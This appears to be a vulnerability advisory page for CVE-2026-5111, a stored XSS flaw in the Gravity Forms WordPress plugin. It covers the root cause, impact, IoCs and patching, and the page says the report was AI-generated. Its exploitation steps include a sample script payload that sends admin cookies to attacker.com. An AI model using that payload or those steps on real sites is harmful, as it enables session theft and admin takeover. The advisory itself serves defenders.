Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-5111
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-5111 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gravity Forms plugin for WordPress affecting versions up to and including 2.10.0. The flaw allows unauthenticated attackers to inject arbitrary web scripts via form submissions, which execute when an administrator views the affected entry details. It was published on May 2, 2026, with a patch made available on the same date. The vulnerability carries a CVSS v3.1 base score of 7.2 (High severity) (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability arises from two compounding flaws: repeater subfields bypass state validation checks, and the Hidden Product field's validate() method only validates the quantity field while ignoring the product name field. This unvalidated product name value is later rendered without proper output escaping in the get_value_entry_detail() method, allowing attacker-controlled input to be stored and subsequently executed as JavaScript in the administrator's browser (GitHub Advisory, Wordfence).

Impact

Successful exploitation enables unauthenticated attackers to store malicious JavaScript that executes in the context of an authenticated administrator's browser session when they view form entry details. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. Both confidentiality and integrity are impacted, though availability is unaffected (GitHub Advisory, Wordfence).

Exploitability

No public proof-of-concept exploit code has been identified, and there is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.011% (0.021% per GitHub Advisory), placing it in the 6th percentile for exploitation likelihood within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection coverage is available via Qualys scanner (detection ID 531299) (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running Gravity Forms version 2.10.0 or earlier that have forms containing both a Repeater field and a Hidden Product field within that repeater.
  2. Craft malicious form submission: Submit a form entry where the Hidden Product field's product name value contains a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded within the Repeater field context.
  3. Bypass validation: Because the validate() method for Hidden Product fields only checks the quantity field, the malicious product name value passes server-side validation without sanitization.
  4. Payload stored: The unsanitized payload is persisted in the WordPress database as part of the form entry.
  5. Trigger execution: Wait for an administrator to navigate to the WordPress admin panel and view the form entry details, at which point the get_value_entry_detail() method renders the stored payload without escaping, executing the attacker's JavaScript in the admin's browser session.
  6. Achieve objective: The executed script can exfiltrate session cookies, perform authenticated actions (e.g., create a new admin user), or redirect the administrator to a phishing page (GitHub Advisory, Wordfence).

Indicators of compromise

  • Network: Outbound HTTP requests from the WordPress server or administrator's browser to unknown external domains shortly after an admin views form entries; unusual POST requests to WordPress form submission endpoints containing script tags or encoded JavaScript in product name fields.
  • Logs: WordPress access logs showing form submissions with anomalous or oversized product name field values; admin-side requests to entry detail pages followed by unexpected external resource loads in browser network logs.
  • File System: Unexpected new WordPress admin user accounts created without authorization; newly installed or modified plugins/themes following an administrator session.
  • Process/Behavior: Unexpected JavaScript execution or redirects observed in the browser when an administrator accesses the Gravity Forms entry details page in the WordPress admin panel.

Mitigation and workarounds

Update the Gravity Forms plugin to a version newer than 2.10.0, which contains the fix for this vulnerability. A patch was made available on May 2, 2026, as confirmed by the GitHub Advisory (GHSA-r9gg-4m43-3w6p). As a temporary workaround, administrators can restrict access to form entry details pages or avoid using Hidden Product fields inside Repeater fields until the update is applied. Additionally, implementing a Web Application Firewall (WAF) rule to filter script injection patterns in form submissions can provide supplementary protection (GitHub Advisory, Gravity Forms Changelog).

Community reactions

Wordfence reported the vulnerability as part of their weekly WordPress vulnerability report covering April 27–May 3, 2026, and assigned it a High severity rating (Wordfence Blog). RedPacket Security and InfinitSec published CVE alert posts shortly after disclosure, and the vulnerability was noted on social platforms including Bluesky and Mastodon. Community reaction has been moderate given the lack of active exploitation and the availability of a patch.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86801HIGH8.8
  • todo-lists-for-membership-sites
NoNoSep 17, 2026
CVE-2026-87963HIGH8.6
  • yo
NoNoSep 17, 2026
CVE-2026-91016MEDIUM5.3
  • motors-car-dealership-classified-listings
NoYesSep 17, 2026
CVE-2026-91019MEDIUM4.9
  • mage-eventpress
NoYesSep 17, 2026
CVE-2026-91017LOW3.7
  • robokassa
NoYesSep 17, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management